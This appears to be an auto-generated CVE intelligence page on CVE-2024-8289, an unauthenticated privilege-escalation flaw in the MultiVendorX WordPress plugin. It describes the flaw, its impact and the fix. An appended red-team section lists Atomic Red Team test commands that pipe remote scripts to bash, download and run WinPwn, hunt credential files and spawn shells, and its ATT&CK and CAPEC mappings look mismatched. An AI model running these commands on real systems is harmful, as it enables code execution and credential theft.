CVE-2024-8289
Overview
This vulnerability is a privilege escalation and account takeover issue caused by insufficient capability checks in the MultiVendorX WooCommerce plugin. Specifically, the update_item_permissions_check and create_item_permissions_check functions fail to properly validate user permissions. The affected component is the REST API endpoints handling vendor role management within versions up to and including 4.2.0.
Vulnerability Description
The MultiVendorX – The Ultimate WooCommerce Multivendor Marketplace Solution plugin for WordPress is vulnerable to privilege escalation/de-escalation and account takeover due to an insufficient capability check on the update_item_permissions_check and create_item_permissions_check functions in all versions up to, and including, 4.2.0. This makes it possible for unauthenticated attackers to change the password of any user with the vendor role, create new users with the vendor role, and demote other users like administrators to the vendor role.
Impact
An unauthenticated attacker can exploit this vulnerability to take over vendor accounts by resetting their passwords, create unauthorized vendor accounts, and demote high-privilege users such as administrators to vendor roles. This enables unauthorized access and lateral privilege manipulation within the affected WordPress installation. The attack requires no authentication (AV:N/AC:L/PR:N/UI:N) and results in full confidentiality, integrity, and availability compromise (C:H/I:H/A:H) of the multivendor marketplace environment.
Solution
Users should upgrade the MultiVendorX WooCommerce Multivendor Marketplace plugin to a version later than 4.2.0 where the insufficient capability checks in update_item_permissions_check and create_item_permissions_check functions have been corrected. Detailed patch information and remediation steps are available through the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/a85fbaff-d566-4ed2-8943-c174e0c4d2d8. No vendor-specific advisory ID was provided, but the plugin's official repository confirms the fix in versions post-4.2.0.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the MultiVendorX plugin for WordPress arises from inadequate capability checks in critical functions responsible for managing user permissions. Specifically, the functions that handle permission checks for updating and creating items do not enforce proper authentication and authorization mechanisms. This oversight allows unauthenticated users to manipulate user roles and credentials within the system. By exploiting this vulnerability, attackers can change the passwords of any user assigned the vendor role, create new vendor accounts, and even demote higher-privileged users, such as administrators, to the vendor role. The lack of robust checks means that the security model of the application is fundamentally compromised, leading to significant risks.
Attack vectors for this vulnerability are straightforward and can be executed with minimal technical expertise. An attacker could leverage automated scripts or manual requests to interact with the affected functions, bypassing the need for legitimate user authentication. For instance, an attacker could craft a request to change a vendor's password, effectively locking the legitimate user out of their account. Furthermore, the ability to create new vendor accounts could facilitate the establishment of multiple malicious accounts, which could be used for further attacks or to manipulate the marketplace environment. The potential for privilege escalation is particularly concerning, as it allows attackers to disrupt the hierarchy of user roles, undermining the integrity of the entire marketplace.
The real-world impact of this vulnerability is profound, particularly for businesses relying on the MultiVendorX plugin for their e-commerce operations. An attacker gaining access to vendor accounts can lead to unauthorized transactions, data breaches, and loss of customer trust. The ability to demote administrators could result in a complete takeover of the marketplace, allowing malicious actors to manipulate product listings, steal sensitive customer information, or engage in fraudulent activities. The business risks associated with such an incident include financial losses, reputational damage, and potential legal ramifications, especially if customer data is compromised.
To detect and mitigate this vulnerability, organizations should implement comprehensive security measures. Regular security audits and code reviews are essential to identify and rectify such weaknesses in plugins and themes. Employing web application firewalls (WAF) can help filter out malicious requests attempting to exploit the vulnerability. Additionally, organizations should enforce strict user role management policies and limit the number of users with elevated privileges. Keeping the MultiVendorX plugin updated to the latest version is crucial, as developers often release patches to address known vulnerabilities. Furthermore, implementing multi-factor authentication (MFA) for all user accounts can significantly enhance security, making it more difficult for unauthorized users to gain access.
In conclusion, the vulnerability in the MultiVendorX plugin poses a serious threat to the security of WordPress-based e-commerce platforms. The ability of unauthenticated attackers to manipulate user roles and credentials can lead to significant operational disruptions and financial losses. Organizations must prioritize the detection and mitigation of such vulnerabilities through proactive security measures, regular updates, and robust user management practices to safeguard their digital environments and maintain customer trust.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Multivendorx | Multivendorx | All |
cpe:2.3:a:multivendorx:multivendorx:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
pashayogi/CVE-2024-8289
CVE-2024-8289 https://www.cve.org/CVERecord?id=CVE-2024-8289, Vendor wcmp Product MultiVendorX – The Ultimate WooComm...
|
pashayogi | 0 | 0 | 2025-03-11 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
42%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-8289 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/a85fbaff-d566-4ed2-8943-c174e0c4d2d8?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/dc-woocommerce-multi-vendor/tags/4.2.0/api/class-mvx-rest-vendors-controller.php#L705 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/dc-woocommerce-multi-vendor/tags/4.2.0/api/class-mvx-rest-vendors-controller.php#L641 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/dc-woocommerce-multi-vendor/tags/4.2.0/api/class-mvx-rest-vendors-controller.php#L382 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/dc-woocommerce-multi-vendor/trunk/api/class-mvx-rest-vendors-controller.php?rev=3145638 |